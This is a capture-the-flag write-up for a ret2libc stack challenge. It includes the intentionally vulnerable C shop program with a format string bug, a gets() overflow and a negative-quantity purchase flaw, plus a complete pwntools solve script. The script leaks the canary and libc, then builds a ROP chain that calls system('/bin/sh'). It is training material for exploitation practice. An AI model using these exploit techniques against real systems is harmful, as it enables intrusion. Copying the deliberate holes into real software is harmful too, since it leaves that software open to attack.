Seal’s Pwn Zero2Hero Stack Challenges - Ret2libc GOT
This was the 7th challenge from Seal’s PWN Zero2Hero
This challenge came with a source file.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <stdint.h>
#include <stdbool.h>
#define MAX_ITEMS 10
//gcc vuln.c -no-pie -o vuln
__attribute__((constructor)) void ignore_me(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int wallet = 0x1337;
uint32_t item_count = 1;
bool owns_special = false;
struct item {
uint32_t id;
char name[0x8];
uint32_t price;
};
struct item items[10];
void init_shop() {
srand(time(NULL));
items[0].id = 0;
items[0].price = 999999;
strcpy(items[0].name,"special");
while (item_count < 5) {
items[item_count].id = item_count;
items[item_count].price = rand() % 999;
for (int j = 0; j < 6; j++) {
items[item_count].name[j] = 'A' + (rand() % 26);
}
item_count ++;
}
}
int get_num() {
char buf[0x20];
if (fgets(buf, sizeof(buf), stdin) == NULL) {
exit(-1);
}
return atoi(buf);
}
void view_items() {
for (int i = 0; i < item_count; i++) {
printf("%d: %s\t\t%d\n",items[i].id, items[i].name, items[i].price);
}
}
void buy_items() {
int choice;
int num;
view_items();
puts("Which item do you want to buy?");
choice = get_num();
puts("How many of this item do you want to buy?");
num = get_num();
if (wallet < items[choice].price) {
puts("You dont have enough money to make this purchase.");
return;
}
if (choice == 0) {
owns_special = true;
}
wallet -= num * items[choice].price;
printf("Congratulations you bought %d %s's.\n",num,items[choice].name);
}
void add_item() {
if (item_count >= 10) {
puts("You have reached the max amount of items to add.");
return;
}
items[item_count].id = item_count;
puts("What is your item called?");
fgets(items[item_count].name,0x8,stdin);
puts("How much do you want to charge for your item?");
items[item_count].price = get_num();
while(items[item_count].price > 1000) {
puts("We dont support such expensive sales, lower your prices!");
items[item_count].price = get_num();
}
}
void use_special_item() {
char buf[0x28];
if (owns_special == false) {
puts("You can't use what you don't own");
return;
}
puts("The special item gives you a stack buffer overflow!");
gets(buf);
}
void print_shop_menu() {
printf("Your current available funds: %d\n\n", wallet);
puts("+=========:[ Menu ]:========+");
puts("| [1] View items for sale |");
puts("| [2] Buy items |");
puts("| [3] Put up items for sale |");
puts("| [4] Use special item |");
puts("| [5] Exit Shop |");
puts("+===========================+");
printf("\n > ");
}
void main() {
uint32_t choice;
char name[0x5];
init_shop();
puts("Please enter your name to enter our shop:");
fgets(name,sizeof(name),stdin);
printf("We hope you enjoy our shop ");
printf(name);
while(1) {
puts("\n\nWelcome to my shop!\nYou can see my offers below.\n");
print_shop_menu();
choice = get_num();
switch(choice) {
case(1):
view_items();
break;
case(2):
buy_items();
break;
case(3):
add_item();
break;
case(4):
use_special_item();
break;
case(5):
exit(1);
default:
puts("Invalid Option.");
}
}
}
The binary let’s you shop for items, add an item, or use a special item.
Vulnerabilities
There’s a format string vuln in the main function when it prints out our name.
void main() {
uint32_t choice;
char name[0x5];
init_shop();
puts("Please enter your name to enter our shop:");
fgets(name,sizeof(name),stdin);
printf("We hope you enjoy our shop ");
printf(name);
There’s also a gets()
call in use_special_item
.
void use_special_item() {
char buf[0x28];
if (owns_special == false) {
puts("You can't use what you don't own");
return;
}
puts("The special item gives you a stack buffer overflow!");
gets(buf);
}
Finally, there’s a bad seed in the init_shop
function.
void init_shop() {
srand(time(NULL));
Exploitation
We can use this leaking script to find some addresses and the canary.
from pwn import *
elf = context.binary = ELF("vuln", checksec=False)
for i in range(10):
payload = f"%{i}$p"
# p = process(elf.path)
p = elf.process()
gdb.attach(p,"vmmap\nc")
p.sendline(payload)
p.recvuntil("shop:\n")
line = p.recvline()
print(line)
print(i)
p.interactive()
We end up getting a stack address at index 1, a libc address at index 3, and the stack canary at index 9. With the libc leak we can figure out the offset that will give us the libc base, which is 0x114887.
To get to the gets
call we need to buy a special item that costs 999999. We start off with 0x1337 in our wallet and there aren’t any legit ways of making more money. That being said, by messing around with the binary I noticed that it will give me money if I buy a negative amount of an item. So we can just buy a huge negative amount of an item and gather enougth funds to buy the special item.
The exploit stategey for this challenge will involve to main stages. The first stage involves:
- leaking the canary
- building up cash
- buying and using special
- exploit the buffer overflow
Then we will jump to main and go into the second stage where we will:
- leak a libc address
- use special again
- do a Ret2libc
Before we do all that though we need to find the offset to the return address. The buffer is 40 bytes long and the canary is just after, so we need to fill the buffer with 40 bytes + 8 the byte canary plus a cyclic pattern to find the return address. Doing all that gave a segfault.
With the cyclic pattern I was able to confirm that the offset is 8 and control the instruction pointer.
Now we can work on jumping back to main
and doing the Ret2libc. We will need a ret
gadget and a pop rdi
gadget so we can grab those now.
The one’s I grabbed were 0x000000000040101a : ret
and 0x0000000000401923 : pop rdi ; ret
.
With all that we can now finish developing the exploit.
need a ret right before our main call
We end up getting a movaps issue so we need to use the ret
gadget right before we jump to main. After that, we can use the format string vuln to leak libc and parse that to get the base. From there we can finish up the Ret2libc.
Flag
Once the libc address is set and we get the system and binsh addresses we get our shell and the flag.
## Solve Script
from pwn import *
elf = context.binary = ELF("vuln", checksec=False)
libc = elf.libc
gs = '''
c
b use_special_item
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)
# get ya money up
def get_money():
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'-999999')
# leak canary
payload1 = b'%9$p'
p.sendline(payload1)
# parse stack canary
p.recvuntil(b"shop ")
address1 = p.recvline().strip()
canary = int(address1, 16)
log.info(f'[*] canary: {hex(canary)}')
get_money()
# buy special
p.sendline(b'2')
p.sendline(b'0')
p.sendline(b'1')
# use special
p.sendline(b'4')
fill_buffer = 40
pop_rdi = 0x401923
ret = 0x40101a
# jump to main to do format string vuln and grab libc leak
payload2 = b''
payload2 += b'A' * fill_buffer
payload2 += p64(canary)
payload2 += b'B' * 8
payload2 += p64(ret)
payload2 += p64(elf.sym.main)
p.sendline(payload2)
p.sendline(b'%3$p')
# parse leak
p.recvuntil(b"shop ")
address2 = p.recvline().strip()
libc_leak = int(address2, 16)
log.info(f'[*] libc leak: {hex(libc_leak)}')
# set libc address
libc.address = libc_leak - 0x114887
log.info(f'[*] libc base: {hex(libc.address)}')
# find the /bin/sh and system addresses
binsh = next(libc.search(b'/bin/sh'))
system = libc.symbols.system
log.info(f'[*] /bin/sh: {hex(binsh)} -- system: {hex(system)}')
# use special
p.sendline(b'4')
# send exploit
payload3 = b''
payload3 += b'A' * fill_buffer
payload3 += p64(canary)
payload3 += b'B' * 8
payload3 += p64(ret)
payload3 += p64(pop_rdi)
payload3 += p64(binsh)
payload3 += p64(system)
p.sendline(payload3)
p.interactive()